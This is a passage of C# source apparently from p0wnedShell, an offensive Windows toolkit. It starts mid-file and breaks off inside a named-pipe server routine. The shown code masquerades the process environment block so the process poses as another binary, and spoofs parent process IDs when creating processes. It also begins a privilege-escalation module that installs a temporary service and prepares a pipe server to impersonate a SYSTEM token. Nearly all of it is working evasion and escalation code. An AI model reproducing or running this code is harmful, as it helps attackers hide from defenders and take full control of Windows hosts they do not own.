public byte ReadImageFileExecOptions;
[FieldOffset(0x002)]
public byte BeingDebugged;
[FieldOffset(0x003)]
#if WIN64
public byte Spare;
[FieldOffset(0x008)]
public IntPtr Mutant;
[FieldOffset(0x010)]
public IntPtr ImageBaseAddress; // (PVOID)
[FieldOffset(0x018)]
public IntPtr Ldr; // (PPEB_LDR_DATA)
[FieldOffset(0x020)]
public IntPtr ProcessParameters; // (PRTL_USER_PROCESS_PARAMETERS)
[FieldOffset(0x028)]
public IntPtr SubSystemData; // (PVOID)
[FieldOffset(0x030)]
public IntPtr ProcessHeap; // (PVOID)
[FieldOffset(0x038)]
public IntPtr FastPebLock; // (PRTL_CRITICAL_SECTION)
#else
public byte Spare;
[FieldOffset(0x004)]
public IntPtr Mutant;
[FieldOffset(0x008)]
public IntPtr ImageBaseAddress; // (PVOID)
[FieldOffset(0x00c)]
public IntPtr Ldr; // (PPEB_LDR_DATA)
[FieldOffset(0x010)]
public IntPtr ProcessParameters; // (PRTL_USER_PROCESS_PARAMETERS)
[FieldOffset(0x014)]
public IntPtr SubSystemData; // (PVOID)
[FieldOffset(0x018)]
public IntPtr ProcessHeap; // (PVOID)
[FieldOffset(0x01c)]
public IntPtr FastPebLock; // (PRTL_CRITICAL_SECTION)
#endif
}
/// Partial _PEB_LDR_DATA
[StructLayout(LayoutKind.Sequential)]
public struct _PEB_LDR_DATA
{
public UInt32 Length;
public Byte Initialized;
public IntPtr SsHandle;
public _LIST_ENTRY InLoadOrderModuleList;
public _LIST_ENTRY InMemoryOrderModuleList;
public _LIST_ENTRY InInitializationOrderModuleList;
public IntPtr EntryInProgress;
}
/// Partial _LDR_DATA_TABLE_ENTRY
[StructLayout(LayoutKind.Sequential)]
public struct _LDR_DATA_TABLE_ENTRY
{
public _LIST_ENTRY InLoadOrderLinks;
public _LIST_ENTRY InMemoryOrderLinks;
public _LIST_ENTRY InInitializationOrderLinks;
public IntPtr DllBase;
public IntPtr EntryPoint;
public UInt32 SizeOfImage;
public UNICODE_STRING FullDllName;
public UNICODE_STRING BaseDllName;
}
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
[DllImport("ntdll.dll")]
public static extern int NtQueryInformationProcess(
IntPtr ProcessHandle,
int ProcessInformationClass,
IntPtr ProcessInformation,
int ProcessInformationLength,
ref int ReturnLength);
[DllImport("ntdll.dll")]
public static extern void RtlEnterCriticalSection(
IntPtr lpCriticalSection);
[DllImport("ntdll.dll")]
public static extern void RtlLeaveCriticalSection(
IntPtr lpCriticalSection);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
ProcessAccessFlags dwDesiredAccess,
bool bInheritHandle,
int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
IntPtr lpBuffer,
int dwSize,
out IntPtr lpNumberOfBytesRead
);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool CloseHandle(
IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern uint GetWindowsDirectory(StringBuilder lpBuffer,
uint uSize);
[DllImport("user32.dll", SetLastError = true)]
static extern bool SetWindowText(
IntPtr hWnd,
string text);
[DllImport("user32.dll")]
static extern IntPtr FindWindow(
string windowClass,
string windowName);
[DllImport("kernel32.dll", SetLastError = true)]
[PreserveSig]
public static extern uint GetModuleFileName(
[In] IntPtr hModule,
[Out] StringBuilder lpFilename,
[In] [MarshalAs(UnmanagedType.U4)]
int nSize);
[DllImport("kernel32.dll")]
public static extern Boolean VirtualProtectEx(
IntPtr hProcess,
IntPtr lpAddress,
UInt32 dwSize,
UInt32 flNewProtect,
ref IntPtr lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern Boolean WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
IntPtr lpBuffer,
UInt32 nSize,
ref IntPtr lpNumberOfBytesWritten);
static T PtrToStructure<T>(IntPtr handle)
{
T type = (T)Marshal.PtrToStructure(handle, typeof(T));
FreeHandle(handle);
return type;
}
static void FreeHandle(IntPtr handle)
{
Marshal.FreeHGlobal(handle);
handle = IntPtr.Zero;
}
static IntPtr StructureToPtr(object obj)
{
IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(obj));
Marshal.StructureToPtr(obj, ptr, false);
return ptr;
}
public static bool RtlInitUnicodeString(IntPtr procHandle, IntPtr lpDestAddress, string pebParam, string masqBinary)
{
// Create new UNICODE_STRING Structure
UNICODE_STRING masq = new UNICODE_STRING(masqBinary);
// Create a pointer to a unmanaged Structure
IntPtr masqPtr = StructureToPtr(masq);
// Change access protection of a memory region to -> PAGE_EXECUTE_READWRITE
IntPtr lpflOldProtect = IntPtr.Zero;
uint PAGE_EXECUTE_READWRITE = 0x40;
if (!VirtualProtectEx(procHandle, lpDestAddress, (uint)Marshal.SizeOf(typeof(UNICODE_STRING)), PAGE_EXECUTE_READWRITE, ref lpflOldProtect))
{
return false;
}
// Overwrite PEB UNICODE_STRING Structure
IntPtr lpNumberOfBytesWritten = IntPtr.Zero;
if (!WriteProcessMemory(procHandle, lpDestAddress, masqPtr, (uint)Marshal.SizeOf(typeof(UNICODE_STRING)), ref lpNumberOfBytesWritten))
{
return false;
}
// Read new Masq into UNICODE_STRING Structure
UNICODE_STRING NewMasq = new UNICODE_STRING();
IntPtr NewMasqPtr = StructureToPtr(NewMasq);
IntPtr lpNumberOfBytesRead = IntPtr.Zero;
if (!ReadProcessMemory(procHandle, lpDestAddress, NewMasqPtr, Marshal.SizeOf(typeof(UNICODE_STRING)), out lpNumberOfBytesRead))
{
return false;
}
NewMasq = PtrToStructure<UNICODE_STRING>(NewMasqPtr);
// Free Unmanged Memory
FreeHandle(masqPtr);
if (NewMasq.ToString() != masqBinary)
{
return false;
}
return true;
}
public static bool MasqueradePEB(string masqBinary)
{
string Arch = System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
// Retrieve information about the specified process
int dwPID = Process.GetCurrentProcess().Id;
IntPtr procHandle = OpenProcess(ProcessAccessFlags.QueryInformation | ProcessAccessFlags.VirtualMemoryRead | ProcessAccessFlags.VirtualMemoryWrite | ProcessAccessFlags.VirtualMemoryOperation, false, dwPID);
_PROCESS_BASIC_INFORMATION pbi = new _PROCESS_BASIC_INFORMATION();
IntPtr pbiPtr = StructureToPtr(pbi);
int returnLength = 0;
int status = NtQueryInformationProcess(procHandle, 0, pbiPtr, Marshal.SizeOf(pbi), ref returnLength);
if (status != 0)
{
return false;
}
pbi = PtrToStructure<_PROCESS_BASIC_INFORMATION>(pbiPtr);
Console.WriteLine("[+] Process ID is: {0}", pbi.UniqueProcessId);
// Read pbi PebBaseAddress into PEB Structure
IntPtr lpNumberOfBytesRead = IntPtr.Zero;
_PEB peb = new _PEB();
IntPtr pebPtr = StructureToPtr(peb);
if (!ReadProcessMemory(procHandle, pbi.PebBaseAddress, pebPtr, Marshal.SizeOf(peb), out lpNumberOfBytesRead))
{
return false;
}
peb = PtrToStructure<_PEB>(pebPtr);
// Read peb ProcessParameters into RTL_USER_PROCESS_PARAMETERS Structure
RTL_USER_PROCESS_PARAMETERS upp = new RTL_USER_PROCESS_PARAMETERS();
IntPtr uppPtr = StructureToPtr(upp);
if (!ReadProcessMemory(procHandle, peb.ProcessParameters, uppPtr, Marshal.SizeOf(upp), out lpNumberOfBytesRead))
{
return false;
}
upp = PtrToStructure<RTL_USER_PROCESS_PARAMETERS>(uppPtr);
// Read Ldr Address into PEB_LDR_DATA Structure
_PEB_LDR_DATA pld = new _PEB_LDR_DATA();
IntPtr pldPtr = StructureToPtr(pld);
if (!ReadProcessMemory(procHandle, peb.Ldr, pldPtr, Marshal.SizeOf(pld), out lpNumberOfBytesRead))
{
return false;
}
pld = PtrToStructure<_PEB_LDR_DATA>(pldPtr);
// Change Current Working Directory and Window title
Directory.SetCurrentDirectory(Environment.SystemDirectory);
// Set the Title of the Window
SetWindowText(Process.GetCurrentProcess().MainWindowHandle, masqBinary);
// Let's overwrite UNICODE_STRING structs in memory
// Take ownership of PEB
RtlEnterCriticalSection(peb.FastPebLock);
// Masquerade ImagePathName and CommandLine
IntPtr ImagePathNamePtr = IntPtr.Zero;
IntPtr CommandLinePtr = IntPtr.Zero;
if (Arch == "AMD64")
{
ImagePathNamePtr = new IntPtr(peb.ProcessParameters.ToInt64() + 0x60);
CommandLinePtr = new IntPtr(peb.ProcessParameters.ToInt64() + 0x70);
}
else
{
ImagePathNamePtr = new IntPtr(peb.ProcessParameters.ToInt32() + 0x38);
CommandLinePtr = new IntPtr(peb.ProcessParameters.ToInt32() + 0x40);
}
if (!RtlInitUnicodeString(procHandle, ImagePathNamePtr, "ImagePathName", masqBinary))
{
return false;
}
if (!RtlInitUnicodeString(procHandle, CommandLinePtr, "CommandLine", masqBinary))
{
return false;
}
// Masquerade FullDllName and BaseDllName
StringBuilder wModuleFileName = new StringBuilder(255);
GetModuleFileName(IntPtr.Zero, wModuleFileName, wModuleFileName.Capacity);
string wExeFileName = wModuleFileName.ToString();
string wFullDllName = null;
_PEB_LDR_DATA StartModule = (_PEB_LDR_DATA)Marshal.PtrToStructure(peb.Ldr, typeof(_PEB_LDR_DATA));
IntPtr pStartModuleInfo = StartModule.InLoadOrderModuleList.Flink;
IntPtr pNextModuleInfo = pld.InLoadOrderModuleList.Flink;
do
{
// Read InLoadOrderModuleList.Flink Address into LDR_DATA_TABLE_ENTRY Structure
_LDR_DATA_TABLE_ENTRY ldte = (_LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pNextModuleInfo, typeof(_LDR_DATA_TABLE_ENTRY));
IntPtr FullDllNamePtr = IntPtr.Zero;
IntPtr BaseDllNamePtr = IntPtr.Zero;
if (Arch == "AMD64")
{
FullDllNamePtr = new IntPtr(pNextModuleInfo.ToInt64() + 0x48);
BaseDllNamePtr = new IntPtr(pNextModuleInfo.ToInt64() + 0x58);
}
else
{
FullDllNamePtr = new IntPtr(pNextModuleInfo.ToInt32() + 0x24);
BaseDllNamePtr = new IntPtr(pNextModuleInfo.ToInt32() + 0x2C);
}
// Read FullDllName into string
wFullDllName = ldte.FullDllName.ToString();
if (wExeFileName == wFullDllName)
{
if (!RtlInitUnicodeString(procHandle, FullDllNamePtr, "FullDllName", masqBinary))
{
return false;
}
if (!RtlInitUnicodeString(procHandle, BaseDllNamePtr, "BaseDllName", masqBinary))
{
return false;
}
break;
}
pNextModuleInfo = ldte.InLoadOrderLinks.Flink;
} while (pNextModuleInfo != pStartModuleInfo);
//Release ownership of PEB
RtlLeaveCriticalSection(peb.FastPebLock);
// Release Process Handle
CloseHandle(procHandle);
return true;
}
}
}
<|start_filename|>p0wnedShell/Opsec/p0wnedPPID.cs<|end_filename|>
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace p0wnedShell
{
public class ProcessCreator
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
[Flags]
public enum CreateProcessFlags : uint
{
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
DEBUG_PROCESS = 0x00000001,
DETACHED_PROCESS = 0x00000008,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
CreateProcessFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UpdateProcThreadAttribute(
IntPtr lpAttributeList,
uint dwFlags,
IntPtr Attribute,
IntPtr lpValue,
IntPtr cbSize,
IntPtr lpPreviousValue,
IntPtr lpReturnSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool InitializeProcThreadAttributeList(
IntPtr lpAttributeList,
int dwAttributeCount,
int dwFlags,
ref IntPtr lpSize);
static void FreeHandle(IntPtr handle)
{
Marshal.FreeHGlobal(handle);
handle = IntPtr.Zero;
}
public static int NewParentPID(string ProcName)
{
int NewPPID = 0;
Process[] processList = Process.GetProcesses();
foreach (Process Proc in processList)
{
if (Proc.ProcessName == ProcName)
{
try
{
IntPtr pHandle = Process.GetProcessById(Proc.Id).Handle;
if (pHandle != IntPtr.Zero)
{
NewPPID = Proc.Id;
break;
}
}
catch (Exception ex)
{
string ErrorMessage = ex.Message;
}
}
}
return NewPPID;
}
public static bool CreateProcess(int parentProcessId, string lpApplicationName, string lpCommandLine)
{
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFOEX sInfoEx = new STARTUPINFOEX();
sInfoEx.StartupInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
if (parentProcessId > 0)
{
IntPtr lpSize = Marshal.AllocHGlobal(IntPtr.Size);
bool success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
if (success || lpSize == IntPtr.Zero)
{
FreeHandle(lpSize);
return false;
}
sInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
if (sInfoEx.lpAttributeList == IntPtr.Zero)
{
FreeHandle(sInfoEx.lpAttributeList);
FreeHandle(lpSize);
return false;
}
success = InitializeProcThreadAttributeList(sInfoEx.lpAttributeList, 1, 0, ref lpSize);
if (!success)
{
FreeHandle(sInfoEx.lpAttributeList);
FreeHandle(lpSize);
return false;
}
FreeHandle(lpSize);
IntPtr parentProcessHandle = Marshal.AllocHGlobal(IntPtr.Size);
IntPtr hProcess = Process.GetProcessById(parentProcessId).Handle;
Marshal.WriteIntPtr(parentProcessHandle, hProcess);
success = UpdateProcThreadAttribute(
sInfoEx.lpAttributeList,
0,
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
parentProcessHandle,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
if (!success)
{
FreeHandle(sInfoEx.lpAttributeList);
FreeHandle(parentProcessHandle);
return false;
}
sInfoEx.StartupInfo.cb = Marshal.SizeOf(sInfoEx);
FreeHandle(sInfoEx.lpAttributeList);
FreeHandle(parentProcessHandle);
}
pSec.nLength = Marshal.SizeOf(pSec);
tSec.nLength = Marshal.SizeOf(tSec);
bool result = CreateProcess(
lpApplicationName,
lpCommandLine,
ref pSec,
ref tSec,
false,
CreateProcessFlags.EXTENDED_STARTUPINFO_PRESENT | CreateProcessFlags.CREATE_NEW_CONSOLE,
IntPtr.Zero,
null,
ref sInfoEx,
out pInfo);
if (!result)
{
return false;
}
return true;
}
}
}
<|start_filename|>p0wnedShell/Modules/PrivEsc/p0wnedEasySystem.cs<|end_filename|>
using System;
using System.IO;
using System.Text;
using System.IO.Pipes;
using System.Threading;
using System.Security.Principal;
using System.Security.AccessControl;
using System.Runtime.InteropServices;
namespace p0wnedShell
{
class EasySystem
{
public class ServiceHelper
{
[Flags]
public enum SCM_ACCESS : uint
{
STANDARD_RIGHTS_REQUIRED = 0xF0000,
SC_MANAGER_CONNECT = 0x00001,
SC_MANAGER_CREATE_SERVICE = 0x00002,
SC_MANAGER_ENUMERATE_SERVICE = 0x00004,
SC_MANAGER_LOCK = 0x00008,
SC_MANAGER_QUERY_LOCK_STATUS = 0x00010,
SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020,
SC_MANAGER_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED |
SC_MANAGER_CONNECT |
SC_MANAGER_CREATE_SERVICE |
SC_MANAGER_ENUMERATE_SERVICE |
SC_MANAGER_LOCK |
SC_MANAGER_QUERY_LOCK_STATUS |
SC_MANAGER_MODIFY_BOOT_CONFIG
}
[Flags]
public enum SERVICE_ACCESS : uint
{
STANDARD_RIGHTS_REQUIRED = 0xF0000,
SERVICE_QUERY_CONFIG = 0x00001,
SERVICE_CHANGE_CONFIG = 0x00002,
SERVICE_QUERY_STATUS = 0x00004,
SERVICE_ENUMERATE_DEPENDENTS = 0x00008,
SERVICE_START = 0x00010,
SERVICE_STOP = 0x00020,
SERVICE_PAUSE_CONTINUE = 0x00040,
SERVICE_INTERROGATE = 0x00080,
SERVICE_USER_DEFINED_CONTROL = 0x00100,
SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED |
SERVICE_QUERY_CONFIG |
SERVICE_CHANGE_CONFIG |
SERVICE_QUERY_STATUS |
SERVICE_ENUMERATE_DEPENDENTS |
SERVICE_START |
SERVICE_STOP |
SERVICE_PAUSE_CONTINUE |
SERVICE_INTERROGATE |
SERVICE_USER_DEFINED_CONTROL)
}
[Flags]
public enum SERVICE_TYPE : uint
{
SERVICE_KERNEL_DRIVER = 0x00000001,
SERVICE_FILE_SYSTEM_DRIVER = 0x00000002,
SERVICE_WIN32_OWN_PROCESS = 0x00000010,
SERVICE_WIN32_SHARE_PROCESS = 0x00000020,
SERVICE_INTERACTIVE_PROCESS = 0x00000100
}
public enum SERVICE_START : uint
{
SERVICE_BOOT_START = 0x00000000,
SERVICE_SYSTEM_START = 0x00000001,
SERVICE_AUTO_START = 0x00000002,
SERVICE_DEMAND_START = 0x00000003,
SERVICE_DISABLED = 0x00000004,
}
public enum SERVICE_ERROR
{
SERVICE_ERROR_IGNORE = 0x00000000,
SERVICE_ERROR_NORMAL = 0x00000001,
SERVICE_ERROR_SEVERE = 0x00000002,
SERVICE_ERROR_CRITICAL = 0x00000003,
}
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(
string lpMachineName,
string lpDatabaseName,
SCM_ACCESS dwDesiredAccess);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern IntPtr CreateService(
IntPtr hSCManager,
string lpServiceName,
string lpDisplayName,
SERVICE_ACCESS dwDesiredAccess,
SERVICE_TYPE dwServiceType,
SERVICE_START dwStartType,
SERVICE_ERROR dwErrorControl,
string lpBinaryPathName,
string lpLoadOrderGroup,
string lpdwTagId,
string lpDependencies,
string lpServiceStartName,
string lpPassword);
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseServiceHandle(
IntPtr hSCObject);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern IntPtr OpenService(
IntPtr hSCManager,
string lpServiceName,
SCM_ACCESS dwDesiredAccess);
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(
IntPtr hService,
int dwNumServiceArgs,
string[] lpServiceArgVectors);
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool DeleteService(
IntPtr hService);
public static bool CreateNewService(string lpSVCName, string lpSVCCommand)
{
IntPtr serviceDbHandle = OpenSCManager(
null, // Local computer
null, // ServicesActive database
SCM_ACCESS.SC_MANAGER_ALL_ACCESS); // Full Access rights
if (serviceDbHandle == IntPtr.Zero)
{
Console.WriteLine("[!] Failed to connect to the Service Control Manager (SCM).");
return false;
}
IntPtr schService = CreateService(
serviceDbHandle, // SCM database
lpSVCName, // Name of service
lpSVCName, // Service name to display
SERVICE_ACCESS.SERVICE_ALL_ACCESS, // Desired access
SERVICE_TYPE.SERVICE_WIN32_OWN_PROCESS, // Service type
SERVICE_START.SERVICE_DEMAND_START, // Start type
SERVICE_ERROR.SERVICE_ERROR_NORMAL, // Error control type
lpSVCCommand, // Path to service's binary
null, // No load ordering group
null, // No tag identifier
null, // No dependencies
null, // LocalSystem account
null); // No password
if (schService == IntPtr.Zero)
{
Console.WriteLine("[!] Failed to Create Service, error: ({0})", Marshal.GetLastWin32Error());
CloseServiceHandle(serviceDbHandle);
return false;
}
Console.WriteLine("[*] Pipe Client Service installed successfully.");
IntPtr serviceHandle = OpenService(serviceDbHandle, lpSVCName, SCM_ACCESS.SC_MANAGER_ALL_ACCESS);
Console.WriteLine("[*] Starting Pipe Client Service.");
StartService(serviceHandle, 0, null); // Start the Service
if (!DeleteService(serviceHandle))
{
Console.WriteLine("[!] Failed to remove Service, error: ({0})", Marshal.GetLastWin32Error());
}
Console.WriteLine("[*] Removed Pipe Service successfully.");
CloseServiceHandle(serviceHandle);
CloseServiceHandle(serviceDbHandle);
return true;
}
}
public class NamedPipeServerHelper
{
public enum TOKEN_ACCESS : uint
{
STANDARD_RIGHTS_REQUIRED = 0x000F0000,
STANDARD_RIGHTS_READ = 0x00020000,
TOKEN_ASSIGN_PRIMARY = 0x0001,
TOKEN_DUPLICATE = 0x0002,
TOKEN_IMPERSONATE = 0x0004,
TOKEN_QUERY = 0x0008,
TOKEN_QUERY_SOURCE = 0x0010,
TOKEN_ADJUST_PRIVILEGES = 0x0020,
TOKEN_ADJUST_GROUPS = 0x0040,
TOKEN_ADJUST_DEFAULT = 0x0080,
TOKEN_ADJUST_SESSIONID = 0x0100,
TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY),
TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID)
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
public enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
public enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
public enum TOKEN_INFORMATION_CLASS
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId,
TokenGroupsAndPrivileges,
TokenSessionReference,
TokenSandBoxInert,
TokenAuditPolicy,
TokenOrigin,
TokenElevationType,
TokenLinkedToken,
TokenElevation,
TokenHasRestrictions,
TokenAccessInformation,
TokenVirtualizationAllowed,
TokenVirtualizationEnabled,
TokenIntegrityLevel,
TokenUIAccess,
TokenMandatoryPolicy,
TokenLogonSid,
MaxTokenInfoClass
}
[Flags]
public enum CreateProcessFlags : uint
{
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
NORMAL_PRIORITY_CLASS = 0x00000020,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}
[Flags]
public enum LogonFlags
{
LOGON_WITH_PROFILE = 0x00000001,
LOGON_NETCREDENTIALS_ONLY = 0x00000002
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ImpersonateNamedPipeClient(
IntPtr hNamedPipe);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool RevertToSelf();
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool CloseHandle(
IntPtr handle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetCurrentThread();
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
TOKEN_ACCESS DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool SetThreadToken(
IntPtr pHandle,
IntPtr hToken);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool DuplicateTokenEx(
IntPtr hExistingToken,
TOKEN_ACCESS dwDesiredAccess,
ref SECURITY_ATTRIBUTES lpTokenAttributes,
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
TOKEN_TYPE TokenType,
out IntPtr phNewToken);
[DllImport("Kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.U4)]
public static extern UInt32 WTSGetActiveConsoleSessionId();
[DllImport("advapi32.dll", SetLastError = true)]
public static extern Boolean SetTokenInformation(
IntPtr TokenHandle,
TOKEN_INFORMATION_CLASS TokenInformationClass,
ref UInt32 TokenInformation,
UInt32 TokenInformationLength);
[DllImport("userenv.dll", SetLastError = true)]
public static extern bool CreateEnvironmentBlock(
out IntPtr lpEnvironment,
IntPtr hToken,
bool bInherit);
[DllImport("userenv.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool DestroyEnvironmentBlock(
IntPtr lpEnvironment);
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW(
IntPtr hToken,
LogonFlags dwLogonFlags,
string lpApplicationName,
string lpCommandLine,
CreateProcessFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
public static void NamedPipeServer(object data)
{
// Create a Named Pipe to send or receive data
PipeSecurity ps = new PipeSecurity();
ps.AddAccessRule(new PipeAccessRule("Everyone", PipeAccessRights.ReadWrite, AccessControlType.Allow));
NamedPipeServerStream pipeServer = new NamedPipeServerStream(
"EasySystem",
PipeDirection.InOut,
dwThreadCount,
PipeTransmissionMode.Byte,
PipeOptions.None,
1024,
1024,
ps);
IntPtr PipeHandle = pipeServer.SafePipeHandle.DangerousGetHandle();
if (PipeHandle == IntPtr.Zero)
{
Console.WriteLine("[!] Failed to create outbound Pipe instance.");
return;
}
Console.WriteLine("[*] Waiting for a client to connect to the Pipe.");
// This call blocks until a client process connects to the Pipe
pipeServer.WaitForConnection();
int threadId = Thread.CurrentThread.ManagedThreadId;
